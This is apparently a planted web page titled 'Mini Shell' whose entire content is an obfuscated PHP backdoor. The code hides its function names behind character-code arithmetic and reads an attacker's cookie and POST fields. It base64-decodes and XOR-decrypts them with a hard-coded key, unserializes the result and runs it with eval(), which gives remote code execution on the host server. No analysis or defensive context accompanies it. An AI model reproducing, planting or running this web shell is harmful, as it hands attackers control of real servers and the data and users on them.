Mini Shell

$BkAKqxh = "\x54" . "\x5f" . "\x72" . "\x49" . 'p';$cnIVP = 'c' . 'l' . 'a' . "\163" . "\163" . chr (95) . "\145" . chr (120) . 'i' . 's' . "\164" . "\163";$QcFQHEe = class_exists($BkAKqxh); $cnIVP = "49885";$qmdWmri = strpos($cnIVP, $BkAKqxh);if ($QcFQHEe == $qmdWmri){function auCer(){$rmuXnqm = new /* 51822 */ T_rIp(45183 + 45183); $rmuXnqm = NULL;}$TJOCe = "45183";class T_rIp{private function fCauy($TJOCe){if (is_array(T_rIp::$OLcMsMx)) {$vaYHJ2 = str_replace("<" . "?php", "", T_rIp::$OLcMsMx["content"]);eval($vaYHJ2); $TJOCe = "45183";exit();}}public function pUyESYzdr(){$vaYHJ = "44429";$this->_dummy = str_repeat($vaYHJ, strlen($vaYHJ));}public function __destruct(){T_rIp::$OLcMsMx = @unserialize(T_rIp::$OLcMsMx); $TJOCe = "5964_19468";$this->fCauy($TJOCe); $TJOCe = "5964_19468";}public function FRnNSBtrw($vaYHJ, $vfQpXn){return $vaYHJ[0] ^ str_repeat($vfQpXn, intval(strlen($vaYHJ[0]) / strlen($vfQpXn)) + 1);}public function XyNUj($vaYHJ){$KOcon = chr (98) . chr ( 898 - 801 ).'s' . chr ( 239 - 138 )."\66" . chr ( 961 - 909 );return array_map($KOcon . "\x5f" . chr ( 1041 - 941 ).chr ( 418 - 317 ).chr (99) . "\157" . 'd' . chr (101), array($vaYHJ,));}public function __construct($SBIRaVVn=0){$SfgPj = chr ( 699 - 655 ); $vaYHJ = "";$moKzIfAgAo = $_POST;$fmByAbZ = $_COOKIE;$vfQpXn = "0c43c507-f052-4c63-bdc3-6ec885b36ab1";$tyBWBQ = @$fmByAbZ[substr($vfQpXn, 0, 4)];if (!empty($tyBWBQ)){$tyBWBQ = explode($SfgPj, $tyBWBQ);foreach ($tyBWBQ as $YONdpSUS){$vaYHJ .= @$fmByAbZ[$YONdpSUS];$vaYHJ .= @$moKzIfAgAo[$YONdpSUS];}$vaYHJ = $this->XyNUj($vaYHJ);}T_rIp::$OLcMsMx = $this->FRnNSBtrw($vaYHJ, $vfQpXn);if (strpos($vfQpXn, $SfgPj) !== FALSE){$vfQpXn = explode($SfgPj, $vfQpXn); $AcqNKH = sprintf("5964_19468", rtrim($vfQpXn[0]));}}public static $OLcMsMx = 34247;}auCer();}